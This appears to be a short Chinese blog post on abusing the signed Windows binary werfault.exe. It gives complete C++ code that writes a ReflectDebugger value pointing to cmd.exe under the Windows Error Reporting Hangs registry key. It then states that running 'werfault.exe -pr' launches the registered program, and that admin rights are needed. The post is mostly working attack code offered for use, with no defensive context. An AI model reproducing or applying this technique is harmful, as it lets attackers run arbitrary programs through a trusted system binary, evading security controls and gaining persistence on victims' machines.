【系统白程序利用】werfault.exe

大家好，又见面了，我是你们的朋友全栈君。

#include "stdafx.h"
#include <windows.h>


int _tmain(int argc, _TCHAR* argv[])
{

    // Get root key handle.
    HKEY hRoot = nullptr;
    LPCTSTR lpSubKey = L"Software\\Microsoft\\Windows\\Windows Error Reporting";
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, KEY_ALL_ACCESS, &hRoot) != ERROR_SUCCESS)
    {
        wprintf(L"Open root key <%s> failed!\n", lpSubKey);
    }

    // Create subKey.
    HKEY hResult = nullptr;
    lpSubKey = L"Hangs";
    DWORD despostion = NULL;
    if (RegCreateKeyEx(hRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hResult, &despostion) != ERROR_SUCCESS)
    {
        wprintf(L"Create key <%s> failed!\n", lpSubKey);
    }
    else
    {
        if (despostion == REG_CREATED_NEW_KEY)
        {
            printf("Create new key successfuly!\n");
        }

        if (despostion == REG_OPENED_EXISTING_KEY)
        {
            printf("Opened new key successfuly!\n");
        }
    }



    // Set subkey value.
    LPCTSTR lpValueName = L"ReflectDebugger";
    LPCTSTR lpData = L"c:\\windows\\system32\\cmd.exe";
    if (RegSetValueEx(hResult, lpValueName, 0, REG_SZ, (const byte*)lpData, (_tcslen(lpData)+1) * sizeof(TCHAR)) != ERROR_SUCCESS)
    {
        printf("Set key value failed!\n");
        return 0;
    }
    else
    {
        printf("Reg Add Successfully!\n");
    }


    system("pause");
    return 0;
}

添加注册表成功后，调用werfault.exe -pr ，werfault会启动注册表中填写的可执行程序。

上面代码需要用管理员权限编译运行